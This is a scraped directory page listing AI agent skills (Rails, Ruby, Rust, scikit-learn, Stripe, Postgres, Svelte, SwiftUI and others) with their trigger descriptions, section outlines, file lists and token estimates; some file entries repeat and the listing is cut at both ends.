bytesremotion-markup/remotion-maps/techniques/cesium/assets/city-path.jsonasset223 bytesremotion-markup/remotion-maps/techniques/cesium/assets/example-Root.tsxruns923 bytesremotion-markup/remotion-maps/techniques/cesium/assets/flight-path.tsruns1,240 bytesremotion-markup/remotion-maps/techniques/cesium/assets/sample-river.geojsonasset6,409 bytesremotion-markup/remotion-maps/techniques/cesium/references/3d-data-sources.mddoc1,451 bytesremotion-markup/remotion-maps/techniques/cesium/references/3d-flyover-architecture.mddoc7,887 bytesremotion-markup/remotion-maps/techniques/cesium/references/3d-troubleshooting.mddoc6,741 bytesremotion-markup/remotion-maps/techniques/cesium/scripts/prep-cesium-path.mjsruns5,561 bytesremotion-markup/remotion-maps/techniques/mapbox/TECHNIQUE.mddoc13,128 bytesremotion-markup/remotion-maps/techniques/mapbox/references/render-stability.mddoc3,639 bytesremotion-markup/remotion-maps/techniques/maplibre/TECHNIQUE.mddoc13,843 bytesremotion-markup/remotion-maps/techniques/maplibre/references/render-stability.mddoc3,639 bytesremotion-markup/remotion-maps/techniques/maptiler/TECHNIQUE.mddoc4,518 bytesremotion-markup/remotion-maps/techniques/maptiler/assets/CountryLabel.tsxruns1,849 bytesremotion-markup/remotion-maps/techniques/maptiler/assets/MapTilerVectorElement.tsruns2,183 bytesremotion-markup/remotion-maps/techniques/maptiler/assets/RiverReveal.tsxruns10,830 bytesremotion-markup/remotion-maps/techniques/maptiler/assets/example-Root.tsxruns1,039 bytesremotion-markup/remotion-maps/techniques/maptiler/assets/sample-data/country-meta.jsonasset333,134 bytesremotion-markup/remotion-maps/techniques/maptiler/assets/sample-data/yarlung-flow.jsonasset13,082 bytesremotion-markup/remotion-maps/techniques/maptiler/assets/tokens.tsruns1,256 bytesremotion-markup/remotion-maps/techniques/maptiler/references/map-data-sources.mddoc4,798 bytesremotion-markup/remotion-maps/techniques/maptiler/references/map-explainer-architecture.mddoc6,871 bytesremotion-markup/remotion-maps/techniques/maptiler/references/map-geo-prep.mddoc4,098 bytesremotion-markup/remotion-maps/techniques/maptiler/references/render-stability.mddoc3,639 bytesremotion-markup/remotion-maps/techniques/maptiler/scripts/prep-geo.mjsruns7,553 bytesremotion-markup/remotion-maps/techniques/static-map/TECHNIQUE.mddoc1,138 bytesremotion-markup/sequencing.mddoc2,726 bytesremotion-markup/sfx.mddoc1,823 bytesremotion-markup/silence-detection.mddoc2,593 bytesremotion-markup/text-highlights.mddoc1,851 bytesremotion-markup/timing-props.mddoc3,632 bytesremotion-markup/timing.mddoc3,315 bytesremotion-markup/transitions.mddoc7,600 bytesremotion-markup/video-editing.mddoc6,850 bytesremotion-markup/voiceover.mddoc3,642 bytesremotion-multimedia/REFERENCE.mddoc705 bytesremotion-multimedia/agents/openai.yamlasset317 bytesremotion-multimedia/assets/remotion-icon.svgasset1,303 bytesremotion-multimedia/get-audio-duration.mddoc1,507 bytesremotion-multimedia/get-video-dimensions.mddoc1,797 bytesremotion-multimedia/get-video-duration.mddoc1,469 bytesremotion-render/REFERENCE.mddoc711 bytesremotion-render/agents/openai.yamlasset286 bytesremotion-render/assets/remotion-icon.svgasset1,303 bytesremotion-render/transparent-videos.mddoc2,267 bytesremotion-saas/REFERENCE.mddoc1,053 bytesremotion-saas/agents/openai.yamlasset283 bytesremotion-saas/assets/remotion-icon.svgasset1,303 bytesremotion-saas/framework.mddoc908 bytesremotion-saas/player.mddoc942 bytesremotion-saas/rendering.mddoc3,343 bytesremotion-studio/REFERENCE.mddoc1,611 bytesremotion-studio/agents/openai.yamlasset237 bytesremotion-studio/assets/remotion-icon.svgasset1,303 bytesremotion-upgrade/REFERENCE.mddoc1,930 bytesremotion-upgrade/agents/openai.yamlasset282 bytesremotion-upgrade/assets/remotion-icon.svgasset1,303 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubreview-migration
When your agent uses it
Use when planning or reviewing a production Rails migration. Never mix schema change and backfill. Trigger words: migration, add column, index, backfill, zero-downtime.
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
1,043 tokensWhen the skill is activated
Reference documents
913 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- HARD-GATE
- Core Process
- Safe Patterns and Common Mistakes
- Code Examples
- Output Style
- Integration
Files
PATTERNS.mddoc3,635 bytesSKILL.mdcore4,513 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubruby
When your agent uses it
Use when writing, reviewing, or debugging pure Ruby code — idiomatic patterns, modern 3.x+ features (pattern matching, Data.define, endless methods), error handling conventions (raise vs fail, result objects), memoization, and performance idioms. For Rails use rails-guides. For testing use minitest. For code style use sandi-metz-rules.
What it loads into context
Frontmatter
81 tokensAlways available to the agent
SKILL.md
2,104 tokensWhen the skill is activated
Reference documents
7,947 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Error Handling Conventions
- Modern Ruby (3.x+)
- Performance Quick Wins
- Ruby Idioms to Prefer
- Method Ordering & File Layout
- Common Mistakes
- References
Files
SKILL.mdcore8,061 bytesreferences/error_handling.mddoc3,570 bytesreferences/method_ordering.mddoc7,409 bytesreferences/modern_ruby.mddoc5,670 bytesreferences/ood-philosophy.mddoc10,882 bytesreferences/performance.mddoc4,268 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubruby-on-rails-best-practices
When your agent uses it
Ruby on Rails architecture and coding patterns from Basecamp. Use when writing, reviewing, or refactoring Rails code to follow proven conventions for models, controllers, jobs, and concerns. Triggers on tasks involving Rails models, concerns, controllers, background jobs, or Turbo/Hotwire.
What it loads into context
Frontmatter
70 tokensAlways available to the agent
SKILL.md
2,056 tokensWhen the skill is activated
Reference documents
21,278 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Apply
- Rules Summary
- Philosophy
Files
SKILL.mdcore8,569 bytesrules/association-extensions.mddoc5,777 bytesrules/callbacks-patterns.mddoc6,292 bytesrules/code-style.mddoc7,201 bytesrules/concern-naming.mddoc3,257 bytesrules/current-attributes.mddoc4,760 bytesrules/current-in-other-contexts.mddoc7,021 bytesrules/fixtures-testing.mddoc5,978 bytesrules/model-scoped-concerns.mddoc3,788 bytesrules/nested-service-objects.mddoc6,100 bytesrules/paired-async-methods.mddoc5,356 bytesrules/resource-controllers.mddoc5,275 bytesrules/scoping-concerns.mddoc6,105 bytesrules/template-method-concerns.mddoc5,530 bytesrules/thin-controllers.mddoc5,352 bytesrules/thin-jobs.mddoc4,467 bytesrules/turbo-broadcasts.mddoc6,329 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubrust-best-practices
When your agent uses it
Guide for writing idiomatic Rust code based on Apollo GraphQL's best practices handbook. Use this skill when: (1) writing new Rust code or functions, (2) reviewing or refactoring existing Rust code, (3) deciding between borrowing vs cloning or ownership patterns, (4) implementing error handling with Result types, (5) optimizing Rust code for performance, (6) writing tests or documentation for Rust projects.
What it loads into context
Frontmatter
169 tokensAlways available to the agent
SKILL.md
1,072 tokensWhen the skill is activated
Reference documents
24,203 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Best Practices Reference
- Quick Reference
Files
SKILL.mdcore4,405 bytesreferences/chapter_01.mddoc25,569 bytesreferences/chapter_02.mddoc5,455 bytesreferences/chapter_03.mddoc8,789 bytesreferences/chapter_04.mddoc7,104 bytesreferences/chapter_05.mddoc14,694 bytesreferences/chapter_06.mddoc7,039 bytesreferences/chapter_07.mddoc7,946 bytesreferences/chapter_08.mddoc10,887 bytesreferences/chapter_09.mddoc11,400 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsandbox-stable
When your agent uses it
Build or maintain Cloudflare Sandbox apps on the stable @cloudflare/sandbox package. Use sandbox-next for preview apps and sandbox-migrate-to-next for stable-to-preview migrations.
What it loads into context
Frontmatter
43 tokensAlways available to the agent
SKILL.md
2,136 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 1. Gate — confirm the package line
- 2. Contract — non-negotiables
- 3. Retrieve — open the doc for the task
- 4. Before you ship
Files
SKILL.mdcore9,309 bytesSKILL.mdcore9,309 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubscikit-learn
When your agent uses it
Machine learning in Python with scikit-learn. Use when working with supervised learning (classification, regression), unsupervised learning (clustering, dimensionality reduction), model evaluation, hyperparameter tuning, preprocessing, or building ML pipelines. Provides comprehensive reference documentation for algorithms, preprocessing techniques, pipelines, and best practices.
What it loads into context
Frontmatter
72 tokensAlways available to the agent
SKILL.md
3,411 tokensWhen the skill is activated
Reference documents
20,407 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Installation
- When to Use This Skill
- Quick Start
- Core Capabilities
- Example Scripts
- Reference Documentation
- Common Workflows
- Best Practices
- Troubleshooting Common Issues
- Additional Resources
Scripts executed separately
scripts/classification_pipeline.pyscripts/clustering_analysis.py
Files
SKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesSKILL.mdcore15,461 bytesreferences/model_evaluation.mddoc15,454 bytesreferences/pipelines_and_composition.mddoc14,770 bytesreferences/preprocessing.mddoc15,603 bytesreferences/quick_reference.mddoc11,508 bytesreferences/supervised_learning.mddoc11,011 bytesreferences/unsupervised_learning.mddoc14,440 bytesscripts/classification_pipeline.pyruns8,044 bytesscripts/clustering_analysis.pyruns11,396 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsecurity-check
When your agent uses it
Use when auditing a Rails app for XSS, CSRF, SQLi, IDOR, secrets, or auth bypass. Never print secrets. Trigger words: security, audit, XSS, CSRF, SQL injection, vulnerability.
What it loads into context
Frontmatter
88 tokensAlways available to the agent
SKILL.md
1,314 tokensWhen the skill is activated
Reference documents
167 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- HARD-GATE: Credential Handling
- Quick Reference
- Core Process
- Output Style
- Extended Resources (Progressive Disclosure)
- Integration
Files
PITFALLS.mddoc818 bytesSKILL.mdcore5,958 bytesSKILL.mdcore5,958 bytesSKILL.mdcore5,958 bytesSKILL.mdcore5,958 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsenior-data-scientist
When your agent uses it
World-class data science skill for statistical modeling, experimentation, causal inference, and advanced analytics. Expertise in Python (NumPy, Pandas, Scikit-learn), R, SQL, statistical methods, A/B testing, time series, and business intelligence. Includes experiment design, feature engineering, model evaluation, and stakeholder communication. Use when designing experiments, building predictive models, performing causal analysis, or driving data-driven decisions.
What it loads into context
Frontmatter
94 tokensAlways available to the agent
SKILL.md
1,213 tokensWhen the skill is activated
Reference documents
877 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- Core Expertise
- Tech Stack
- Reference Documentation
- Production Patterns
- Best Practices
- Performance Targets
- Security & Compliance
- Common Commands
- Resources
- Senior-Level Responsibilities
Scripts executed separately
scripts/experiment_designer.pyscripts/feature_engineering_pipeline.pyscripts/model_evaluation_suite.py
Files
SKILL.mdcore5,630 bytesSKILL.mdcore5,630 bytesSKILL.mdcore5,630 bytesSKILL.mdcore5,630 bytesSKILL.mdcore5,630 bytesSKILL.mdcore5,630 bytesreferences/experiment_design_frameworks.mddoc1,435 bytesreferences/feature_engineering_patterns.mddoc1,435 bytesreferences/statistical_methods_advanced.mddoc1,435 bytesscripts/experiment_designer.pyruns2,784 bytesscripts/feature_engineering_pipeline.pyruns2,827 bytesscripts/model_evaluation_suite.pyruns2,797 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubseo
When your agent uses it
Optimize for search engine visibility and ranking. Use when asked to "improve SEO", "optimize for search", "fix meta tags", "add structured data", "sitemap optimization", or "search engine optimization".
What it loads into context
Frontmatter
72 tokensAlways available to the agent
SKILL.md
3,234 tokensWhen the skill is activated
Reference documents
907 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Evidence-led audit workflow
- Technical SEO
- On-page SEO
- Structured data (JSON-LD)
- Agentic browsing and AI discoverability
- Mobile SEO
- International SEO
- SEO audit checklist
- Tools
- References
Files
SKILL.mdcore13,977 bytesSKILL.mdcore13,977 bytesSKILL.mdcore13,977 bytesreferences/STRUCTURED-DATA.mddoc3,339 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubshadcn
When your agent uses it
Manages shadcn components and projects — adding, searching, fixing, debugging, styling, and composing UI, including chat interfaces. Provides project context, component docs, and usage examples. Applies when working with shadcn/ui, component registries, presets, --preset codes, or any project with a components.json file. Also triggers for "shadcn init", "create an app with --preset", "switch to --preset", and for building a design system or applying a DESIGN.md or brand spec to shadcn/ui.
What it loads into context
Frontmatter
161 tokensAlways available to the agent
SKILL.md
5,324 tokensWhen the skill is activated
Reference documents
24,471 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Current Project Context
- Principles
- Critical Rules
- Key Patterns
- Component Selection
- Key Fields
- Component Docs, Examples, and Usage
- Workflow
- Design Systems from DESIGN.md
- Updating Components
- Quick Reference
- Detailed References
Scripts executed separately
assets/showcase/color-pair.tsxassets/showcase/state-matrix.tsxscripts/showcase-coverage.mjs
Files
SKILL.mdcore21,306 bytesSKILL.mdcore21,306 bytesSKILL.mdcore21,306 bytesSKILL.mdcore21,306 bytesSKILL.mdcore21,306 bytesagents/openai.ymlasset238 bytesassets/shadcn-small.pngasset1,049 bytesassets/shadcn.pngasset3,852 bytesassets/showcase/color-pair.tsxruns3,448 bytesassets/showcase/preview-states.cssasset425 bytesassets/showcase/state-matrix.tsxruns1,682 bytescli.mddoc17,304 bytescustomization.mddoc6,279 bytesdesign-system-page.mddoc15,790 bytesdesign-system.mddoc21,621 bytesevals/evals.jsonasset10,626 bytesmcp.mddoc3,510 bytesregistry.mddoc8,817 bytesrules/base-vs-radix.mddoc6,954 bytesrules/chat.mddoc8,018 bytesrules/composition.mddoc4,892 bytesrules/forms.mddoc4,857 bytesrules/icons.mddoc1,958 bytesrules/styling.mddoc4,675 bytesscripts/showcase-coverage.mjsruns1,453 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsqlalchemy
When your agent uses it
SQLAlchemy Python SQL toolkit and ORM with powerful query builder, relationship mapping, and database migrations via Alembic
What it loads into context
Frontmatter
160 tokensAlways available to the agent
SKILL.md
6,425 tokensWhen the skill is activated
Reference documents
2,026 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Concepts
- Declarative Models (SQLAlchemy 2.0)
- Database Setup
- Query Patterns (SQLAlchemy 2.0)
- CRUD Operations
- Transactions and Session Management
- Async SQLAlchemy
- Alembic Migrations
- FastAPI Integration
- Testing with Pytest
- Performance Optimization
- Best Practices
- Common Patterns
- SQL Quality & Efficiency Anti-Patterns
- Resources
- Related Skills
Files
SKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesSKILL.mdcore26,936 bytesmetadata.jsonasset1,852 bytesreferences/sql-quality-antipatterns.mddoc8,418 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsqlalchemy-alembic-expert-best-practices-code-review
When your agent uses it
SQLAlchemy ORM and Alembic migration best practices for building safe, performant database schemas. This skill should be used when writing, reviewing, or refactoring SQLAlchemy models, Alembic migrations, or database query patterns. Triggers on tasks involving SQLAlchemy ORM, Alembic migrations, database schema changes, or query optimization.
What it loads into context
Frontmatter
107 tokensAlways available to the agent
SKILL.md
636 tokensWhen the skill is activated
Reference documents
2,102 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Apply
- Rule Categories by Priority
- Quick Reference
- How to Use
Files
SKILL.mdcore2,849 bytesrules/change-column-type.mddoc1,645 bytesrules/ensure-index-not-covered.mddoc1,187 bytesrules/limit-non-unique-index.mddoc911 bytesrules/only-concurrent-indexes.mddoc980 bytesrules/split-check-constraint.mddoc1,055 bytesrules/split-foreign-key.mddoc1,181 bytesrules/unique-constraint.mddoc1,160 bytesrules/verify-query-patterns-are-indexed.mddoc1,291 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubstripe-best-practices
When your agent uses it
Guides Stripe integration decisions across development and test environment planning (separate sandboxes vs the shared test mode sandbox), API selection (Checkout Sessions vs PaymentIntents), Connect platform setup (Accounts v2, controller properties), billing/subscriptions, tax and registrations (Stripe Tax, automatic_tax, product tax codes), Treasury financial accounts, integration options (Checkout, Payment Element), migrating from deprecated Stripe APIs, and security best practices (API key management, API key permissions, webhooks, OAuth). Use when planning, building, modifying, testing, or reviewing any Stripe integration, including choosing a development environment, accepting payments, building marketplaces, integrating Stripe, processing payments, setting up subscriptions, collecting sales tax, VAT, or GST, creating connected accounts, or implementing secure key handling.
What it loads into context
Frontmatter
185 tokensAlways available to the agent
SKILL.md
1,355 tokensWhen the skill is activated
Reference documents
13,443 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Integration routing
- Critical rules
- Key documentation
Files
SKILL.mdcore6,246 bytesreferences/billing.mddoc10,029 bytesreferences/connect.mddoc11,016 bytesreferences/payments.mddoc9,065 bytesreferences/security.mddoc10,047 bytesreferences/tax.mddoc22,897 bytesreferences/treasury.mddoc793 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsupabase-postgres-best-practices
When your agent uses it
Postgres best practices maintained by Supabase, for Postgres running anywhere. Load this skill BEFORE writing or changing anything that lives in a Postgres database: creating or altering tables and columns (including choosing column types), schema design, migrations and declarative schema files, RLS policies and the tests that verify them, indexes, triggers, database functions, queues and scheduled jobs (pg_cron, pgmq), vector/semantic search (pgvector), and restoring dumps (pg_restore) or importing data. Also load it when diagnosing slow queries, high CPU, timeouts, EXPLAIN plans, connection exhaustion, locking, bloat, or rows visible to the wrong user or tenant. This is not just a performance guide — schema, migration, security, and SQL authoring tasks need these rules too, even for a one-column change or a single query.
What it loads into context
Frontmatter
296 tokensAlways available to the agent
SKILL.md
707 tokensWhen the skill is activated
Reference documents
14,562 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Apply
- Rule Categories by Priority
- How to Use
- References
Files
CHANGELOG.mddoc5,684 bytesSKILL.mdcore3,231 bytesreferences/_contributing.mddoc4,113 bytesreferences/_sections.mddoc1,682 bytesreferences/_template.mddoc1,040 bytesreferences/advanced-full-text-search.mddoc1,468 bytesreferences/advanced-jsonb-indexing.mddoc1,444 bytesreferences/conn-idle-timeout.mddoc1,282 bytesreferences/conn-limits.mddoc1,325 bytesreferences/conn-pooling.mddoc1,382 bytesreferences/conn-prepared-statements.mddoc1,529 bytesreferences/data-batch-inserts.mddoc1,287 bytesreferences/data-n-plus-one.mddoc1,361 bytesreferences/data-pagination.mddoc1,358 bytesreferences/data-upsert.mddoc1,390 bytesreferences/lock-advisory.mddoc1,531 bytesreferences/lock-deadlock-prevention.mddoc1,855 bytesreferences/lock-short-transactions.mddoc1,350 bytesreferences/lock-skip-locked.mddoc1,353 bytesreferences/monitor-explain-analyze.mddoc1,441 bytesreferences/monitor-pg-stat-statements.mddoc1,418 bytesreferences/monitor-vacuum-analyze.mddoc1,506 bytesreferences/query-composite-indexes.mddoc1,454 bytesreferences/query-covering-indexes.mddoc1,287 bytesreferences/query-index-types.mddoc1,521 bytesreferences/query-missing-indexes.mddoc1,218 bytesreferences/query-partial-indexes.mddoc1,347 bytesreferences/schema-constraints.mddoc1,880 bytesreferences/schema-data-types.mddoc1,453 bytesreferences/schema-foreign-key-indexes.mddoc1,679 bytesreferences/schema-lowercase-identifiers.mddoc1,728 bytesreferences/schema-partitioning.mddoc1,548 bytesreferences/schema-primary-keys.mddoc1,821 bytesreferences/security-privileges.mddoc1,566 bytesreferences/security-rls-basics.mddoc1,372 bytesreferences/security-rls-performance.mddoc2,103 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsvelte-code-writer
When your agent uses it
CLI tools for Svelte 5 documentation lookup and code analysis. MUST be used whenever creating, editing or analyzing any Svelte component (`.svelte`) or Svelte module (`.svelte.ts`/`.svelte.js`). If possible, this skill should be executed within the `svelte-file-editor` subagent for optimal results.
What it loads into context
Frontmatter
79 tokensAlways available to the agent
SKILL.md
562 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- CLI tools
- Workflow
Files
SKILL.mdcore2,093 bytesSKILL.mdcore2,093 bytesSKILL.mdcore2,093 bytesSKILL.mdcore2,093 bytesSKILL.mdcore2,093 bytesSKILL.mdcore2,093 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsvelte5-best-practices
When your agent uses it
Svelte 5 runes, snippets, SvelteKit patterns, and modern best practices for TypeScript and component development. Use when writing, reviewing, or refactoring Svelte 5 components and SvelteKit applications. Triggers on: Svelte components, runes ($state, $derived, $effect, $props, $bindable, $inspect), snippets ({#snippet}, {@render}), event handling, SvelteKit data loading, form actions, Svelte 4 to Svelte 5 migration, store to rune migration, slots to snippets migration, TypeScript props typing, generic components, SSR state isolation, performance optimization, or component testing.
What it loads into context
Frontmatter
170 tokensAlways available to the agent
SKILL.md
764 tokensWhen the skill is activated
Reference documents
13,754 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Reference
- Essential Patterns
- Common Mistakes
Files
SKILL.mdcore2,914 bytesreferences/events.mddoc7,137 bytesreferences/migration.mddoc6,795 bytesreferences/performance.mddoc9,954 bytesreferences/runes.mddoc7,117 bytesreferences/snippets.mddoc4,834 bytesreferences/sveltekit.mddoc8,684 bytesreferences/typescript.mddoc6,514 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubswift-concurrency
When your agent uses it
Diagnose Swift Concurrency issues, refactor callback-based code to async/await, and guide Swift 6 migration when working with tasks, actors, @MainActor, Sendable, data races, thread safety, or concurrency-related compiler and linter warnings.
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
2,916 tokensWhen the skill is activated
Reference documents
52,498 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Fast Path
- Quick Fix Mode
- Common Diagnostics
- When Quick Fixes Fail
- Smallest Safe Fixes
- Concurrency Tool Selection
- Task entry isolation
- Swift 6 Migration Quick Guide
- Reference Router
- Verification Checklist
Files
SKILL.mdcore12,852 bytesagents/openai.yamlasset249 bytesassets/logo-small.pngasset4,283 bytesassets/logo.pngasset26,017 bytesreferences/_index.mddoc2,150 bytesreferences/actors.mddoc17,545 bytesreferences/async-algorithms.mddoc20,705 bytesreferences/async-await-basics.mddoc7,686 bytesreferences/async-sequences.mddoc17,136 bytesreferences/core-data.mddoc14,888 bytesreferences/glossary.mddoc7,081 bytesreferences/linting.mddoc5,334 bytesreferences/memory-management.mddoc12,736 bytesreferences/migration.mddoc33,770 bytesreferences/observation.mddoc14,212 bytesreferences/performance.mddoc15,490 bytesreferences/sendable.mddoc13,603 bytesreferences/tasks.mddoc17,019 bytesreferences/testing.mddoc13,757 bytesreferences/threading.mddoc16,440 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubswift-testing-expert
When your agent uses it
Expert guidance for Swift Testing: test structure, #expect/#require macros, traits and tags, parameterized tests, test plans, parallel execution, async waiting patterns, and XCTest migration. Use when writing new Swift tests, modernizing XCTest suites, debugging flaky tests, or improving test quality and maintainability in Apple-platform or Swift server projects.
What it loads into context
Frontmatter
78 tokensAlways available to the agent
SKILL.md
1,014 tokensWhen the skill is activated
Reference documents
8,107 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Agent behavior contract (follow these rules)
- First 60 seconds (triage template)
- Routing map (read the right reference fast)
- Common pitfalls -> next best move
- Verification checklist
- References
Files
SKILL.mdcore4,908 bytesreferences/_index.mddoc1,004 bytesreferences/async-testing-and-waiting.mddoc3,243 bytesreferences/expectations.mddoc3,486 bytesreferences/fundamentals.mddoc3,830 bytesreferences/migration-from-xctest.mddoc3,425 bytesreferences/parallelization-and-isolation.mddoc2,597 bytesreferences/parameterized-testing.mddoc9,004 bytesreferences/performance-and-best-practices.mddoc4,410 bytesreferences/traits-and-tags.mddoc2,921 bytesreferences/xcode-workflows.mddoc2,280 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubswiftui-expert-skill
When your agent uses it
Use when writing, reviewing, or refactoring SwiftUI code for iOS or macOS, including state and `@Observable` data flow, view composition, resizable layouts, safe areas, display scale, performance, lists, environment, localization, animation, Liquid Glass, and API migration. Also use for iPhone Duo, foldable, or large-display layouts (`NavigationSplitView` on large displays, iPhone tab sidebar, two-column reflow, foldable grids, `ArrangementView`, `ReservedRegion`), hinge effects, vertical bars, `@State` initialization or synthesized-property diagnostics, `@ContentBuilder` ambiguity, `reorderable` drag/drop, custom `AsyncImage` `URLSession`, swipe actions outside List, item-bound `alert`/`confirmationDialog`, `ToolbarOverflowMenu`, `AnimatableValues`, Document APIs (`Document`/`DocumentReader`), and Instruments `.trace` capture or analysis.
What it loads into context
Frontmatter
201 tokensAlways available to the agent
SKILL.md
2,701 tokensWhen the skill is activated
Reference documents
87,966 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Operating Rules
- Task Workflow
- Correctness Checklist
Scripts executed separately
scripts/analyze_trace.pyscripts/instruments_parser/__init__.pyscripts/instruments_parser/causes.pyscripts/instruments_parser/correlate.pyscripts/instruments_parser/events.pyscripts/instruments_parser/hangs.pyscripts/instruments_parser/hitches.pyscripts/instruments_parser/summary.pyscripts/instruments_parser/swiftui.pyscripts/instruments_parser/time_profiler.pyscripts/instruments_parser/xctrace.pyscripts/instruments_parser/xml_utils.pyscripts/record_trace.py
Files
SKILL.mdcore11,637 bytesSKILL.mdcore11,637 bytesSKILL.mdcore11,637 bytesSKILL.mdcore11,637 bytesSKILL.mdcore11,637 bytesSKILL.mdcore11,637 bytesSKILL.mdcore11,637 bytesSKILL.mdcore11,637 bytesSKILL.mdcore11,637 bytesagents/openai.yamlasset228 bytesassets/logo-small.pngasset29,649 bytesassets/logo.pngasset398,841 bytesassets/logo.svgasset2,006 bytesreferences/accessibility-patterns.mddoc6,073 bytesreferences/animation-advanced.mddoc11,439 bytesreferences/animation-basics.mddoc6,865 bytesreferences/animation-transitions.mddoc8,052 bytesreferences/charts-accessibility.mddoc6,291 bytesreferences/charts.mddoc17,219 bytesreferences/document-apps.mddoc11,319 bytesreferences/environment-patterns.mddoc7,278 bytesreferences/focus-patterns.mddoc8,877 bytesreferences/image-optimization.mddoc10,617 bytesreferences/iphone-duo.mddoc7,620 bytesreferences/latest-apis.mddoc25,395 bytesreferences/layout-best-practices.mddoc21,066 bytesreferences/liquid-glass.mddoc12,660 bytesreferences/list-patterns.mddoc21,013 bytesreferences/localization.mddoc9,920 bytesreferences/macos-scenes.mddoc9,757 bytesreferences/macos-views.mddoc11,027 bytesreferences/macos-window-styling.mddoc8,815 bytesreferences/modifier-patterns.mddoc2,530 bytesreferences/performance-patterns.mddoc11,933 bytesreferences/previews.mddoc8,327 bytesreferences/scroll-patterns.mddoc10,839 bytesreferences/sheet-navigation-patterns.mddoc15,380 bytesreferences/soft-deprecation.mddoc3,002 bytesreferences/state-management.mddoc22,009 bytesreferences/styled-text-editing.mddoc8,938 bytesreferences/text-patterns.mddoc1,637 bytesreferences/toolbar-patterns.mddoc10,159 bytesreferences/trace-analysis.mddoc14,415 bytesreferences/trace-recording.mddoc5,939 bytesreferences/view-structure.mddoc28,979 bytesreferences/webkit-integration.mddoc9,732 bytesscripts/analyze_trace.pyruns10,155 bytesscripts/instruments_parser/__init__.pyruns69 bytesscripts/instruments_parser/causes.pyruns6,092 bytesscripts/instruments_parser/correlate.pyruns6,367 bytesscripts/instruments_parser/events.pyruns10,804 bytesscripts/instruments_parser/hangs.pyruns3,507 bytesscripts/instruments_parser/hitches.pyruns4,634 